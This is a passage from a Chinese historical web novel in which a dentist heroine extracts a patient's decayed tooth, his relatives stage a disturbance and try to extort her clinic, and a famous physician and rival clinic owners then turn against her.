“那…那你…你还和萧景琮他大哥一起,当时就不怕他知道你的身份,把你捉起来吗?”苏颜妍大着舌头,艰难地说。
前朝公主耶,和当朝皇帝义子谈情说爱,好一本精彩纷呈的言情小说剧情,脑补想一想都咂舌。
“呵,我看上他是他的福气,算他祖上积德。没有我,他这会儿……哼。”袁因笑出弯弯眼,不是高兴,更偏向嘲讽的笑。
看样子,这位公主殿下有不少故事呢。苏颜妍缩缩脖子,没继续追问当年。
袁因倒是不避讳,她素来如此,轻易不会对人展露真实,可是一旦走进她心里,她对信任的人从不设防。她说:“我从小在安南长大,与萧晟玹第一次见面,就是在安南王府组织的相亲宴上。”
苏颜妍“哇”了一声,眼睛亮亮开始听故事。
“当时安南王势大,在我家那地方,百姓只知安南王,不知皇帝。安南王府中只有世子一个男丁,他满十六,安南王妃就开始给世子选妃。那年京中爆发大案,线索直指安南,萧晟玹奉命去调查安南王。他乔装潜进了相亲宴。”袁因说着笑了起来,这次是盈着柔软情绪的笑。她说:“我一眼就瞧出他的伪装,他当年着实俊美,那张脸真是我见犹怜,迷的我心甘情愿帮他查安南王。”
“后来呢?你们相爱了吗?”
“后来,他查到证据,抛下我回京了。”袁因好笑地看着苏颜妍气鼓鼓的脸,捏了捏她,继续说道:“他若不走,我或许迷他一阵子,后面就腻了。他这一走,却着实让我记在心里,念念不忘。我能帮他找出安南王涉案的证据,也能进京,抽丝剥茧找出他真身。缠来缠去的,就这么在一起了。”
苏颜妍担忧问道:“他知道你的身份吗?”
“自然不知道,除了你,我谁都没告诉哦。”袁因逗她,脸上一片凝重:“你要帮我保守秘密,连萧景琮都不许说。”
苏颜妍抖了抖嘴唇,小声道:“哦。”她总觉得哪里不太对劲,等看到袁因哈哈笑出声,一下子反应过来,她气呼呼地抗议:“袁姐姐,你又骗我!”
52. 登月碰瓷团
苏颜妍先是被苏父可能涉及辛密的猜测折磨半日,又被袁因惊吓戏耍一番,烦躁郁气一扫而空,燃起的只有熊熊怒火,活力重新填满她的四肢百骸。
不管她是不是陷入迷雾风波,那都是之后的事情了,现在还是要注重当下,一步一步做自己的事才好。
爱咋咋,管他呢。
好消息,有了苏父医书的加持,李真他们果然成功研制出合适的口含药剂。
苏颜妍信心倍增。
小桃提醒她几次,那位浑身都是瓷谁碰谁倒霉的祝大宝还是来回春堂求着苏颜妍看他那口烂牙了。
祝大宝看名字就知道,家里的宝贝,一身绫罗绸缎包不住浑身痴肥。捂着半边脸扭进来,那场面,如同一头野猪进了村。
“哎呦!苏神医,快给我看看,牙又疼起来,吃你给的药也不管用,要了我的命了哎呦呦!”
祝大宝身边影子似的围着一二三四五六七个高矮胖瘦老弱孕妇人,个个脸上挂着天塌了的担忧。她们齐刷刷盯着苏颜妍,就像苏颜妍身上带着什么神仙药能根治百病似的,恨不得上手抢来用。
苏颜妍:……这不会就是小桃说过的祝大宝家被洗脑的走火入魔的姑姐们吧?这么可怕的吗?
小桃带着几个高壮的学徒隔开她们,把苏颜妍挡在身后:“无关家属请到门外等待,不要影响大夫看诊。地方都被你们占满了,我们医馆独有的诊疗仪器怎么给患者使用?请配合一下,多耽搁患者就多疼一刻的。”
为首的老妇人面露不满,可是听着祝大宝满口的哎呦痛呼,她沉着脸招呼同来的妇人们离开,围坐在诊室外一声不吭等待。
苏颜妍小声问小桃:“这就是祝大宝的那些家属?”
小桃点点头,满目担忧,她对苏颜妍劝说道:“师父,你也看到了,这家人真的很难缠。咱们能别沾上就别沾上,滚刀肉一样,很烦人的。”
苏颜妍让不住声痛呼的祝大宝躺在特制的检查椅上,手中不停,将需要用到的工具一件件消毒,排排放置在洁净的医托盘里。她轻轻说道:“患者已经来了,这病我能治,怎么能因为他的家人难缠,就将他拒诊呀。”
她戴好口罩和手套,用口镜再次观察患者的牙齿。小桃抿紧嘴唇,重重顿了顿脚,麻利的戴好护具跟在苏颜妍身边,充当称职的小助手。
苏颜妍检查完,摘下手套执笔开始记录患者病情,重度龋齿,深龋三颗已经露髓,必须拔除。
小桃将她用过的工具放进木盒,身边的学徒将其带走,并呈上新煮沸消杀的器具。小桃归拢好这些器具,对他点点头,走到苏颜妍身边。
“拔牙……”她低头看苏颜妍写的诊疗方案,皱着眉,脚尖在地板上无声的碾了碾。
“师父,这次能不能我来试试,你在旁边指导我进行?他的龋齿数量多,要分数次拔完,我可以选颗最好操作的,行不行?”
苏颜妍讶然抬头,眉毛挑的高高的:“你不是怕他家属闹事吗?这会儿又敢下手啦?”
小桃:她哪里是怕闹事,她怕的是这些人找你闹事安师父!劝又劝不住,这坑还不如她跳,总比师父惹一身腥好伐。
小桃点头:“好不好嘛?我现在学的很好,是该进行下一步实践工作,是不是啊师父?”
苏颜妍一想也是,祝大宝这口烂牙,拔哪颗不是拔,还真就适合小桃操作实践呢。刚好有颗露髓严重的,牙冠都掉了半扇,清髓后牙钳一拧就完事儿。
遂点头,同意小桃的提议,看着她穿戴整齐一项项准备工具,一丝不苟,按步骤操作。
苏颜妍全程陪同,暗暗点评:一百分!小桃这操作一百分!完美!
牙齿碎片带着血渍水迹静静放置在工作台上,祝大宝眼中带着泪,嘴里含着一口新制药剂,盯着拔除的碎牙,呆呆坐着不动。
“祝大宝,你嘴里面蛀的最厉害的那颗牙已经处理,注意饮食清淡,饭后漱口,记得口含特制药剂一炷香,就像现在这样。其他的牙要过几天再来复诊治疗,记住了吗?”小桃连珠炮似的嘱咐,话说完,诊疗记录也写完,她把诊疗本与苏颜妍的并排放在一起,归到专用的档案盒里。
祝大宝嘴里含着药剂,半句话说不出,只好用硕大头颅点了点,表示自己知道了。
诊疗告一段落,祝大宝那家妇人团聒噪着离开,瞬间医馆空气都清新了许多。
苏颜妍看着小桃松了口气的样子,忍不住地笑。
小桃翻了个白眼:“师父,您现在笑我还太早了,等过了三天您还能笑得出来,我就真去寺里给菩萨供上一炷香火,谢她保佑呢。”
实在是太夸张,苏颜妍指着她笑道:“看来过两天得给你放天假了,咱们小桃这是变着法儿想去爬山呢。”
小桃一脸莫测高深,看着苏颜妍摇了摇头。
苏颜妍这会儿笑得有多开怀,隔天听到祝大宝家来闹事的消息就有多郁卒。
她这医馆犯天条了吗?怎么总有人想着来闹事?
小桃皱着鼻子,愤愤不平:“就说这家人,得人帮助不念好,最好作妖。幸亏没让你来给他拔牙,师父,我去应付她们。”
不等小桃出去,那群妇人已经闯进诊室里。
一时间,屋里满是鬼哭狼嚎,阵阵尖利声音平等折磨每一个人的耳朵。
“哎呦我的天哎、哎呦我的地,天杀的庸医害了我的弟。”这是祝大宝的哪位姐,没骨头似的软倒在地上,拖着哭腔拍着地面嚎叫。
这是哭丧组。
医馆众人不约而同举起双手捂住自己的耳朵,身体后仰,躲避噪音攻击。
另有一高瘦妇人猴子似的,原地蹦跳,灵活演绎什么叫做一蹦三尺。
这是气氛组。
还有三四个扶着位老态龙钟的妇人,拄着拐杖一步三喘,指着苏颜妍讨要说法:“丧了天良啊你这庸医,谁散播的黑心谣言骗人来治病,害了我的大孙啊!快来个青天大老爷把她抓起来啊,快给我们老弱妇孺做主啊!”
这是旁白组。
还有作势要去撕打苏颜妍,旁边一人拦着,两人推推搡搡你来我往的。
这是表演组。
一整个大乱斗,好不精彩。
苏颜妍想对线都找不着个一对一
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的人,这些个妇人个个浑身的本事,学徒一靠近想架住她们,她们就尖叫非礼并撕扯自己的衣服发髻,吓得没见过这阵仗的小伙子们面如土色连连后退。
苏颜妍喊了几声,声音完全被嚎叫盖住。她紧紧拉着小桃,不让她冲过去,吩咐学徒们直接排成两排,站在旁边看她们演。
回春堂一时两派人阵势分明:苏颜妍为首的医馆众人一言不发,静静看着这群妇人撒泼;来闹事的演着演着发现对手全然没有下场,嚎叫的声音不由得小了些。一时更显得她们滑稽可笑。
满眼精明的老妇人一看情势不妙,马上作势喝停哭闹的同伴,她们面露不善,瞪着苏颜妍。场面安静下来。
苏颜妍这才开口:“现在能听见我说话了?你们是祝大宝的家人吧,有什么事请好好说,派个代表,我只和一个人说话。”
那群妇人不忿地骚动一瞬,又被年纪最大的老妇人制止。那位老妇人旁边的中年胖妇人上前一步说道:“我兄弟昨儿在你们医馆求医,你们不让我们陪同。我这兄弟蠢,竟被你们忽悠,拔掉了自己的牙齿!身体发肤受之父母,哪有牙疼就拔牙的医馆啊!”
“祝大宝的牙都蛀成空壳、牙髓都暴露外面感染了,他一直牙疼就是因为这个啊!这种牙不拔,疼痛就会一直持续,永远不会根治的。所以我反复观察过才决定给他拔牙的。”苏颜妍对这些人解释。
她说的有理有据,先发言的妇人败下阵来。跳脚的那位妇人不忿道:“就算牙疼,也不一定非要拔牙。这颗坏牙拔了,大宝在家还是喊牙疼!难道他剩下的牙齿你也要挨个给他拔掉吗?没了牙齿,大宝以后怎么吃东西,吃不了东西,他不是要被活活饿死吗?你就是个庸医,变着法的害我们家大宝呢。”
趴地上叫骂的那位帮腔道:“都说医者父母心,世上有哪个父母忍心拔掉孩子的牙齿。幼童尚能重新萌出新牙,大宝这牙又到哪里重新长出来?大宝可怜,就这么被你害成残废了,你要赔钱,要负责照顾我们大宝后半辈子!”
苏颜妍被她们离谱的话气笑了,有这么登月碰瓷的吗?小桃已经忍不了在骂她们了,苏颜妍只觉得她们荒谬。
她尝试再次给她们科普:“患者昨天拔牙,离现在不过一日。开给他的药剂能消炎促进创口愈合,疼痛会逐渐止住的。其他牙有龋齿需要继续治疗,它们也是会产生疼痛感的。你们关心患者我理解,过度发散借题发挥,你们是找错了地方。”
她拍板定下的治疗方案,才不会让小桃惹上麻烦呢。
这群妇人一看苏颜妍态度强硬,小桃还一直数落她们的不是,互相使了几个眼色,气势从咄咄逼人变成集体卖惨。
动作之熟练、配合之默契,倘若有变脸比赛,这群妇人可以集体得冠军。
“苏神医,都是我们几个妇道人家,见识短浅,关心太过,您别跟我们见识。我们家大宝太可怜了,牙齿也没了,还一只喊疼,我这心啊,刀戳一样疼。求您行行好,去我们家给大宝再看看吧。”
哈?让医生去刚刚医闹玩的患者家?这群人要不要用脑子想想说的是什么话?她有那么傻吗?
53. 糊涂老者
回春堂里,众人听完妇人的话,被她们这种不要脸的要求惊呆了。
小桃就像点着爆炸的鞭炮,指着她们怒斥:“你们猪油蒙了心,敢提这种要求。祝大宝真想治病,让他自己来医馆。让我们去你们家,你们想得真美!就你们这样胡搅蛮缠,谁敢去你们家。沾上一点都是臭味,臭不可闻!”
“哎你这丫头片子怎么说话呢!我知道你,昨儿就是你上手给我家大宝拔牙的吧?你个庸医,拿我家大宝搁这儿练习,当我们是什么好欺负的么?我们为什么来你们这儿,还不是冲着苏神医的名头。结果诊治时换你上来,一通乱治,这不是害人是什么!”
小桃一开口,那群妇人便七手八脚对她指指点点,手叉着腰,吼的声高气壮,喇叭似的响。
苏颜妍眼神示意,左右学徒集体配合上前一步,无声震慑对方不要过分。
她只盯着那个做主的老妇人,拒绝她们提出的不合理建议:“我们医馆没有随叫随到、上门诊治的规矩。如果祝大宝真的牙疼,让他自己来医馆,我们可以不计较,重新给他看看。你们再闹事,回春堂不欢迎你们,再来可就拒诊了。”
“老天爷,睁开眼看看吧,怎么还有这样狠心的大夫。这是逼着我们去死啊!”
一看苏颜妍不受道德绑架,这群妇人们又开始哭天抢地闹起来。
苏颜妍沉着脸,不再纵容她们闹,喝令护卫和学徒们一起动手,把这群妇人赶出医馆。
医馆里又开始上演花式表演:有打滚儿被抬腿拖出去的,有各种撕扯被按住抬出去的,还有被拧着胳膊推出去的……这群妇人难缠得紧,赶出去,一转身她们便要再冲进来。就好似水中的瓢,按下浮起,没个尽头。
喧闹争执间,那个大着肚子的妇人直挺挺倒在地上,晕了过去。
旁边高瘦妇人急忙抢上去扶:“弟媳妇——你这是怎么了?哎呦喂我的天爷,弟媳妇被回春堂的庸医害死啦!”
“欸你乱喊什么,我们什么时候害过她!”小桃急的跳脚,柳眉倒竖。
苏颜妍也气的不轻,救人要紧,她压下火气好声对她们说道:“先别动她,散开些距离,别阻挡她呼吸。让我看看她是怎么回事。”
她懂一些急救本领,快步走过去,却被故意挡住去路。
拦停她的正是祝大宝的亲眷,她们嚷嚷着:“刚才你不愿意救大宝,现在是不是想趁机害我家弟媳妇?你们回春堂里全是牛皮吹破天的庸医,大宝牙疼你们给他拔牙,我家弟媳妇头晕难道你要砍掉她的头?别过来!”
苏颜妍脸涨得通红,又急又气道:“突发昏厥原因很多,现在让我看看,尽早治疗,你拖延时间她会很危险的。我是医生,你拦着我这才是害人!”
“哎你这个人,医术不行咋让我说两句还生气捏?我可都打听过了,你就擅长治牙疾,其他的一窍不通,少在这里装大头蒜。你今天碰我弟媳妇一根手指,我和你没完你知道不。”
这群无知的妇人看到苏颜妍急了,竟拿起乔来。看她们得意的样子,仿佛让苏颜妍着急上火比救人还重要。
这是哪门子的一些二百五啊!苏颜妍只想翻白眼。这会儿她深刻理解小桃为什么忧心忡忡,从头就不想她接诊这一家奇葩。
苏颜妍挤不过去,只好对做主的老妇人说:“你们先散开些,给这位夫人敞开点衣领,头侧卧,方便她呼吸。”
听到她的话,那群妇人不仅不配合,还故意围得更紧,将晕倒的妇人挡的严严实实。
大热天,苏颜妍一头汗,鬓发都黏成一缕一缕。
面对这种说也说不通、一味胡搅蛮缠的人,她除了焦急气愤,一点办法都没有。
这群面露得意的妇人们也没高兴多久,晕倒的大肚妇人气息忽弱,一下子断气了!
“他媳妇!”“弟媳妇!”“侄媳妇!”
这群妇人慌了神,又是掐人中又是解衣领,各种手段都用上,晕倒闭气的女人还是一动不动,再也没有醒来。
出人命了!
这下苏颜妍不能再无视,直接推开围堵在身前的妇人,挤进人堆,伸手放在晕倒的妇人鼻孔。她心一沉,确实没有气息了。
她立刻半跪在旁边,准备做心肺复苏,这群妇人却一拥而上,将她推倒不说,还上手要厮打她。
“都怪你!你们这群庸医!你们害死了我家媳妇!”
“打死她,让她偿命!”
这群妇人疯了似的,一只只手如同野兽的爪子,带着深深恶意,向苏颜妍袭来。
小桃与学徒们哪能让她们得逞,见她们要伤害苏颜妍,再不留手,就要将这群人打出去。
比他们反应更快的是萧景琮留在苏颜妍身边的暗卫们。他们平时隐匿如影,这会儿事发突然,危急之中,顾不得藏身,直接出来带着苏颜妍退到安全的室内,远离人群。
“苏姑娘,是否要属下将这些人捉住送走?”
“不用你们,她们都是普通百姓,用不着你们出面。”
暗卫重新隐匿,苏颜妍这次大声喊停冲突:“都给我住手!再闹我就派人去报官,咱们官府见,看谁被关进大牢里。”
闹腾的妇人一听报官,顿时收了手,愤怒地喘息,恶狠狠盯着苏颜妍,恨不得生啖她的肉。
年纪最大的妇人颤巍巍指着苏颜妍道:“天可怜见的,我们祝家家门不幸,算是遭了这场大祸。我儿媳妇身怀六甲,在你们医馆亡命,你们必须给我们家赔钱。就算官大人来了,你们医馆也跑不了。活生生的一条人命啊,这是要剜我老婆子的心啊!”
周围顿时哭声一片,这群妇人说哭就哭,那眼泪哗哗的。苏颜妍若不是亲自经历了这场闹剧,乍一看还真能被她们悲泣的表现蒙蔽,以为她自己是什么罪大恶极欺压妇孺的恶霸呢。
显然这群妇人的做派很是到位,真有路过的人,出来为她们打抱不平。
“京城贵地,天子脚下,竟有医馆伤天害理、欺压妇女,还有没有王法?”
一位身形精壮、须发花白的老者从人群中挤进来,看着现场一方伏地围着断气的大肚孕妇大哭的妇人们,一方身着医馆白服挽袖围堵带着怒意的回春堂众人,一下子以为遇到作恶现场,满怀正气地出声斥责。
小
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桃眼看着这群蝗虫般的妇人差点伤到苏颜妍,心中不满早就集聚到临爆。这会儿被冤枉,一下子炸了:“你这老头,看着年纪这样大,怎么还不懂要分辨是非。我们哪里伤人害人欺压人,被堵着欺负的明明是我们!你看着这群人能哭会号,她们才是恶人!”
老者看了看叉腰发怒的小桃,又看看哀哀哭泣的妇人,不认同地摇摇头。
“这位姑娘,得饶人处且饶人,她们一群妇人,肩不能扛手不能提,且人家亲人都去了,劝你少造口业,善良做人。”
怎么有这样的人,眼见未必是真实啊。苏颜妍听着都满心不愉,和他对话的小桃更是双眼泛红,泪水在眼眶滚动,她咬着唇,瞪大眼,不想让泪滚落。
苏颜妍看到小桃这样难过,过去紧紧握着她的手,转头对那位老者解释:“老人家,今日的事情确实是这些妇人来医馆闹事。你现在看到她们哭,是她们自己用哭来撒赖。世上的对错可不能依据谁哭谁弱谁就有理。”
老者听苏颜妍说完,非但没有相信,反而更加坚信自己的判断,胡子都气得翘了起来:“小姑娘,做人怎么能这样刻薄。我不相信自己亲眼看到的,难道要相信你花言巧语不成?世上的对错不是你说的好听长的好看就是你有理。”
他瞪了苏颜妍一眼,走到祝家妇人那边,伸手试了试躺着没有声息的大肚妇,面露不忍。他转头温声安慰哭泣的老妇人:“逝者已矣,先找人运回家中,好生安葬。”
祝家妇见他出面帮她们说话,哭得更加哀切:“好教贵人知晓,我儿媳妇被回春堂庸医害死,没让她们付出赔偿,她怕是不能安心,更入不了土。她们医馆欺人,我哪里有脸回家。我儿三代独木,媳妇肚里说不定就是唯一的孙儿,折在老妇眼前,我是活不成了,不如撞死在她家医馆门前,随着儿媳孙儿一起去了罢!”
那老妇作势就要撞墙,老者连忙拉住她,她便顺势软倒在地放声大哭。
老者站起,指着苏颜妍,吹胡子瞪眼睛:“你这小人,妄为医者。既害了人家儿媳,还打算眼睁睁看着苦主去死吗?还不速速与人赔偿,早做了结。”
这老头,合着她解释是一点不听,别人一演他全数相信。
苏颜妍翻了个白眼,对身边的学徒吩咐道:“你们去京兆府报官,就说有人上门闹事,栽赃陷害,蓄意讹诈。”
立刻就有两个学徒出列应是,一溜烟跑远了。
祝家妇见状哽了一下,哭声一下子就停了。老者还在那抱不平:“报官也不怕,我是人证,就不相信京城这地界还能有人敢欺上媚下、包庇犯罪。”祝家妇人又哽了一下,彻底哭不出来了。
京兆府人来的很快,很客气地请众人去了衙门。祝家妇人们打上回春堂,从头到尾都明明白白,见证她们闹事的人很多。事实清楚,证据确凿,祝家妇讹人,被斥责赔礼道歉。
小桃听完京兆尹判决,大为解气。她对着老者冷哼道:“这下知道哪个才是真的受害方了吧?下次少看着哭闹判官司,也少不分事实就当人证。”
一席话把老者气得仰倒,指着她哆哆嗦嗦“你”了好几声。
54. 萧景琮干的好事
小桃的话说的老者脸上挂不住,出了衙门后仍旧沉着脸。
他对着哀哭的妇人道:“日后你们遇到不公,得先一步报官让大人做主。私自去讨要结果,还被安上闹事的名头,这哑巴亏吃一次就记住。送逝者安息吧,老朽这边还有一点银钱,便赠与你们用。”
祝家妇一听“银钱”两字,如丧考妣的脸上,因被罚产生的悲痛一扫而空。苏颜妍没看错,她们眼噌一下子就亮了。
祝家老妇人对老者感恩戴德,顺势诉苦,添油加醋说出祝大宝牙痛去回春堂,苏颜妍给他拔牙的事。
“老身一介妇人,不明白医术,想来总不能牙痛就拔牙。依这个道理,庄稼生了虫,农夫不想办法杀灭虫卵,难不成要将病株连根拔起不成?我们家大宝也去过别家医馆,大夫都是开方子回家喝药,固肾健齿、清胃泻火,怎么都成。谁知到了回春堂,全然不是这种治法!”
高瘦妇人口齿伶俐,对着老者哭诉:“贵人,娘说的这些都是实情。若是回春堂真根治大宝的牙疾,我们家也就认了。可牙都拔了,大宝还是嚷着疼!幼童牙掉了可以重新长,成人牙没了如何能萌出?我们家人丁不丰,只大宝一个,也没个男人替我们出头。只好娘儿几个结伴来医馆要个说法,还被他们不分青白赶出门。”
老者听到这里,完全信任这些人的话,捋着胡子附和道:“这医馆做的确实不妥,牙疾首要根据牙疼的病因症状,辨证施治。不同的病症有不同的方剂,哪能上手就是拔除牙齿。胡闹,胡闹!”
祝家与回春堂都在东城偏南的位置,回家走的是同一条路。
祝家妇添油加醋说与老者的话,苏颜妍他们听了个正着。
小桃听老者言语间批判苏颜妍的治疗方案,忍不住质疑道:“你这老头,你懂什么医术么?我们家师父专精牙科,她最擅长治牙疾。祝大宝的牙齿情况你都没见过,就敢批评我们医馆的治病法子。这群妇人不懂,她们说的话没有一句可信的。你刚刚在衙门里应该长记性,怎么出来还听她们的胡话。”
老者脚步一顿,身边的祝家妇们先是心虚目移,瞟见老者并没有怀疑她们,立刻气壮起来:“这位姑娘,你只顾维护你们自己家医馆的名声,哪里把我们这些小小妇人放在眼中。是,你们是天上的云,我们活该是地底的泥。你说是什么就是什么吧,我们家大宝被迫背上损毁身体的不孝名声,我们家儿媳在医馆背过气去,不治而亡,你们出不出手,都是我祝家倒霉。求求你放过我们一群可怜人吧。呜呜呜!”
她们话中句句不提回春堂的错,说的话巧妙带出话外意:回春堂势大欺人,出手损毁人家身体,冷眼旁观致人死亡。
老者果然大怒,指着苏颜妍等人喝道:“老夫乃西护府张天翼,师从神医谷,家中世代行医。老夫刚从西域游历回京,手下救治的疑难杂症数不胜数。这还是老夫第一次被人质疑医术!行医者,最重要的是有一颗仁心,你们回春堂如此行事,就算有擅长的本事,也当不得一个‘医’字!”
没想到,这个老者竟是一位名医!
小桃自知说错了话,惊慌看向苏颜妍,眼里闪着泪光。她担心给苏颜妍和回春堂惹麻烦。
苏颜妍却知道这事怪不得小桃。
这位名医从始至终都没相信过她们,只认定自己见到的、想到的。这种固执和偏见最难打消,小桃的话最多激发加速了他们之间的矛盾,并不是根本。
她轻轻拍了拍小桃的手,没有表露一丝责怪,一如往常般温和:“没事的,小桃,我们行得正、坐得端,天地公道,自在心中。不用理会耳边杂音,他们都是絮语风声,移动不了信念之树。”
她的话是对小桃说的,也是对老者说的。
这位游历的神医老者哼了一声,正眼打量了苏颜妍一番,带着祝家妇人与回春堂众人走了不同的路。
回到医馆,苏颜妍召出暗卫,问道:“你可知道神医谷?西护府的张天翼很有名吗?”
暗卫:“神医谷是西域邦国有名的圣地,与咱们景朝的岐黄谷一样,汇聚大量医学奇才。”
“西护府是景朝临近西域的屏障,神医张家是西护府军医世家,家主曾得开国圣祖亲赐''活国手‘名号。张天翼是张家第三代佼佼者,好四处游历,所行之处,救人无数。苏姑娘,陛下曾给这位张神医传信,请他进京,与您切磋一番,互通有无。”
苏颜妍:……
合着这位神人是萧景琮专门给她请进京的?
她这是开的什么反目剧本!
神医张天翼进京,与回春堂第一次交流,就进了京兆府。
这消息一出,京城众医馆闻风而动。他们苦回春堂久矣!
曾气到亲自去回春堂找场子的陈掌柜尤其高兴,恨不能放上几挂鞭炮,昭告这桩喜事。
“嘿,回春堂那小丫头终于踢到铁板了。这下有张神医公开抵制,看她们能翻出什么花样。她背后的靠山再硬,能硬的过‘活国手’?那可是太祖爷亲赐的神医呀!”陈掌柜抖擞精神,吆喝随身的伙计:“快去济世堂联系林掌柜,咱们在花月楼设席,宴请张神医!”
花月楼,歌舞丝竹,声声入耳。长桌美食珍馐,琳琅满目。
京城里大小能说得上名号的医馆掌柜皆数到场,像那见了蜜的蜂一样,围着张神医寒暄。
一阵推杯换盏,久仰恭维,众人都在张神医面前混了个眼熟。
济世堂林有仁眼神一瞥,旁边的掌柜立刻躬身而出,向张神医行礼道:“张神医,咱们可把您老盼来了!您不知道这回春堂,这段时间出了多少花招,挤兑我们医馆没了患者,苦苦度日。您老可要为我们做主呀!”
陈掌柜一听来了劲儿,那叫一个声泪俱下:“张神医我能证明他说的都是真的!我家医馆就在北城,整整的开了二十多年,以往也算能混个温饱。就在今年,那苏家丫头接管了回春堂,推出好些花招,花言巧语抢夺患者,我们复康堂现在都要开不下去,全家等着要饿死!在座的各位都能为我证明,我说的句句属实!求您老为我做主!”
神医张天翼本来就先入为主,对回春堂心有不满。现在
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听所有的医者都这样控诉,哪里还有怀疑!
他把桌子拍的砰砰响,眉毛头发根根竖起,怒道:“竖子竞猖狂至此!我只当她仁心有瑕,不想她对待医者同道,也如此无理!有老夫在此,由不得她如此嚣张。”
济世堂的林有仁立马斟酒,劝道:“张神医,您老消消气,可不能被这种小人气坏了身子,我们可都等着您给我们做主呢。当年回春堂的苏兄在时,并非如此作态。他家独女张狂,赶走学医十多年的徒弟,争夺了医馆,这才酿成如此祸事。您看我们是不是应该合力推行行规,避免出现外行人当家。医馆怎样行事,自然是我们这些大夫心中最有数,您老说是不是这个理。”
张天翼捋着胡子,若有所思,点头称是。
席间,众掌柜们彼此相视而笑,心知肚明,回春堂算是完了。有张神医带头,全京城的医馆集体敌视,就算它背后有岐黄谷,也再兴不起风浪。
次日,城南祝家热闹起来,一队人马抬着一大箱银钱进了祝家的大门。
四邻百姓哪里见过这场面,全都出门伸头张望着,打量是怎么回事。
祝家这奇葩人家是走了什么大运,还有人给他们上了门送钱?
“祝大姐,给大伙儿说说呗,这是怎么个事儿啊?”
高瘦精明的祝大姐得意扬起溜薄的唇:“嗨,别提了,还不是我家大宝。他牙疾去到回春馆,被那家庸医店坑了。我们娘几个上门说理不成,反把弟媳妇气死,还被他们告了,赔了好些银钱。幸亏老天开眼,叫咱们遇见一个贵人。这不,人家替我们做主,不光帮我们家补足了银钱,还要替大宝媳妇风光大办下葬送行呢。”
四邻皆知祝家妇的德性,听了她这番话,面面相觑,宛如见了鬼。
这半日,街上络绎不绝来了更多的人,往祝家门楣上挂上白布,搭设灵堂,还叫来道士和尚,勘穴念经。
嚯!死个京官都不定有祝家这排场。
原本祝家死了儿媳妇,这媳妇还身怀六甲,不好对亲家交代。现在后事如此隆重,祝大宝的丈人哪里还说得出一句重话。似哭似笑的脸上,伤心不复,得意更多,甚是滑稽。
葬完祝家媳妇,就到了重头戏。
京城医馆众掌柜们,拥簇着张神医,亲自到祝家,给祝大宝看牙疾。
多大的面儿呀?!就算是宰相也没法儿请神医带着这么多的大夫登门吧!
祝家上上下下,此刻的心情就是那老鼠落入粮仓里。
众医馆此行就为了大张旗鼓,彰显自家的医者仁心,立志将回春堂踩进泥里。
有张神医打头,没有难得住他的病症。他们只管安排人手,将今日的事大肆宣传,重点描补自家捐赠的银子药材,踩一脚回春堂沽名钓誉的名声。
四邻街坊哪一家没吃过祝家的亏?见他们这样铺张高调,不免暗暗摇头。
这些开医馆的掌柜,今日莫不是集体被驴踢了脑袋?这是发昏了,怎么不打听打听祝家妇的德行。
送钱送人容易,且看事后会不会沾上一身腥喔。
55. 回旋镖使命必达
同在东城南侧,祝家与回春堂隔不了十里八里。京城众医相继去祝家,又是高调送葬,又是名医亲临。
小桃听了消息,鼓起腮帮子气成圆滚滚。
苏妍妍说:“何必和他们置气,看把我们家小桃气的,难道是变成一只河豚了吗?”
小桃说:“师傅,你还笑得出来!他们都在说,张神医亲自给祝大宝看病,全程没有损毁一颗牙齿,只开了药剂服用。喝药就能治牙疾,可比您这种拔牙的手段强千倍百倍。说的也太难听了,您平日里治病也不是所有的都要拔牙呀。这不是祝大宝他的牙蛀的太厉害了吗?这些人为什么总是要跟风乱说呢?踩我们医馆的心思也太明显,真是过分!”
“张神医亲自医治,纯中药治疗,颇有效果?”苏颜妍玩味地说道:“让他们得意一会儿吧,祝大宝的病情我知道,那可不是纯粹喝药就能治得好的。祝家妇人能在咱们拔牙隔日,药剂都没生效的时候来找我们回春堂的麻烦,难道她们能转了性子,不去找张神医的麻烦吗?”
她摇摇头锐评道:“就像你对我说的,这家人难缠沾不得。东郭先生和狼的故事不会只发生一次,且等着瞧吧。”
小桃想了想说:“也是,我就不信狗能改得了吃屎。我都打听过了,祝家妇就没有哪一家说她们一句好的。那姓张的老头也是倒霉,好心没干成好事。”
“他们家就没有一个能交好的人?”
“没有。”
“太奇葩了,万里挑一啊。”
苏颜妍不再关注祝家。
张神医对她的批评带着偏见,可他的话给也苏颜妍提了个醒。
她发现回春堂改革后工作的漏洞:
就算出诊复诊患者所有的症状确凿,她能判断出要怎么治疗,像拔牙这种操作还是要告诉患者,让他自己选择的。毕竟拔牙确实不可逆,如果患者口头同意术后又反悔,没有任何切实证据能佐证,对医馆是很不利的。
就像祝大宝这样,家属来医馆闹事,若非祝家妇本身风评差,传出去回春堂也要受负面影响。
看样子她需要在工作流程中加上一道保障,在进行不可逆的操作时,首先要告知患者,解释清楚后让其签署知情同意书。
白纸黑字,是最清楚的保证。
苏颜妍在查漏补缺,半点精力都不给那些不值得的人。
比如赖皮无底线的祝家人。
自从张神医带着一众医馆掌柜们上了祝家的门,祝家妇本就泼皮的行事更加张狂。无事尚要搅三分,感觉自己背后有人撑腰,那气焰,瞬间嚣张起来。
祝家妇在苏颜妍这里吃了个大亏,不仅没占到回春堂的便宜,反而折了条人命又搭上了钱,恨苏颜妍恨到骨头里。她们在京兆府学了乖,不敢直接点名道姓污蔑,怕苏颜妍再次报官告她。
可,话不明着说,也能延伸出更多的意味。现成的例子张神医,不就是偏听偏信的那一个么。
祝家妇便开始逢人就阴阳苏颜妍的刮歪风:“找医馆看大夫,还得去男人当家做主的。从古至今,男为天,女为泥;男为尊,女低微;男主外,女在内。老话说的都是硬道理,咱们不服不行。”
整个京城乃至全国,医馆当家的,百分之九九都是男性。苏颜妍怕不是那唯一的例外,她们这样说,就差指着苏颜妍鼻子说她不行。
知道祝家去回春堂闹过的人心里门清,这群妇人就是踩人家苏姑娘呢。
城里有像祝家妇人这样恩将仇报的,为了一己之私作践整个女性的名誉。也有小桃这样,以苏颜妍为榜样,勇敢冲破糟粕束缚,活出自我的。
后者天然是站苏颜妍的,很看不起祝家妇人自损八千也要散布恶言的行为。
城中众多医馆配合祝家妇人泼苏颜妍和回春堂的脏水,这些间接受到苏颜妍恩惠的人,默不吭声替苏颜妍将脏水擦干,拭净。
众医馆利用祝家妇织就的针对苏颜妍的网,就这样悄无声息的破开一个大洞。
不等这些暗中布局围猎回春堂的人再出后手,祝家这个猪队友,开始拆台了。
却说张神医亲自到祝家,给祝大宝诊过牙疾。如同苏颜妍判断的一样,祝大宝龋齿程度严重,张神医纵有千般本事,也无力根治。他给祝大宝开了很多药剂,止痛消肿的,固本培元的,零零散散,一日三顿得喝十多碗苦药。
